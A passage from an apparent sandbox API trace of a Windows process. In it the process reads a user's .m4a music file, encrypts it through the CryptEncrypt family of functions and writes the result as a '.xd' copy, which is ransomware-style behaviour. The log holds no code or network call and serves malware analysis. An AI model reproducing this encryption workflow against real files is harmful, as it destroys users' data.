wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.085] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.085] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.085] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.086] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\5rbcicujcoq\\7cihi-.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0064.086] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.086] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0064.086] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.086] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.086] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.086] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\5rbcicujcoq")) returned 0x10 [0064.086] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\5rbcicujcoq\\7cihi-.m4a.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0064.087] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.087] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.087] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.087] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.089] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0064.089] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x4482, lpOverlapped=0x0) returned 1 [0064.090] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0064.092] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.092] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.092] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.092] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0064.092] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.092] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.092] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0064.092] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.093] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0064.093] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.093] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.093] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.093] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0064.093] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0064.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0064.093] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0064.093] CryptGetKeyParam (in: hKey=0x164c330, dwParam=0x7, pbData=0x1629710, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629710*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0064.093] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.093] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.093] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.093] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.093] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.093] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.094] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.094] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.094] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.094] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.094] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.094] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.094] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.094] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.094] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.094] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.094] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.094] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.094] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.094] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.094] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.094] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.094] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.094] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.094] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0064.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16217b0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0064.095] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0064.095] CryptEncrypt (in: hKey=0x164c330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x4482, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x4490) returned 1 [0064.095] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.095] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.095] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.095] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.095] CharLowerBuffW (in: lpsz="byte[17553]", cchLength=0xb | out: lpsz="byte[17553]") returned 0xb [0064.095] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.095] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.095] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.095] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.096] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0064.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a50, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0064.096] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0064.096] CryptEncrypt (in: hKey=0x164c330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x18814a0*, pdwDataLen=0x130e618*=0x4482, dwBufLen=0x4490 | out: pbData=0x18814a0*, pdwDataLen=0x130e618*=0x4490) returned 1 [0064.096] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.096] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.096] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.096] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.096] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.096] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.096] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0064.096] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.096] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0064.096] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.096] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.096] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.096] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.096] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.096] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.096] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.096] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.097] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.097] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.097] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.097] WriteFile (in: hFile=0x3bc, lpBuffer=0x17c3278*, nNumberOfBytesToWrite=0x4490, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17c3278*, lpNumberOfBytesWritten=0x130f01c*=0x4490, lpOverlapped=0x0) returned 1 [0064.098] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.098] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.098] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0064.098] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.098] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.098] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0064.098] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0064.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16215a0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0064.098] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0064.098] CryptDestroyKey (hKey=0x164c330) returned 1 [0064.098] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.098] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.098] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0064.098] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.098] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0064.098] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0064.098] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0064.098] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.099] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.099] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0064.099] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.099] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.100] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.100] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.100] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.100] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0064.100] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.100] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0064.100] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.100] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.100] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.100] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.100] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0064.100] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.100] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.100] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0064.100] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.100] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0064.100] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0064.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0064.101] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0064.101] CryptReleaseContext (hProv=0x17aaef0, dwFlags=0x0) returned 1 [0064.101] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.101] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.101] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0064.101] FreeLibrary (hLibModule=0x74c60000) returned 1 [0064.101] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.101] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.101] PeekMessageW (in: 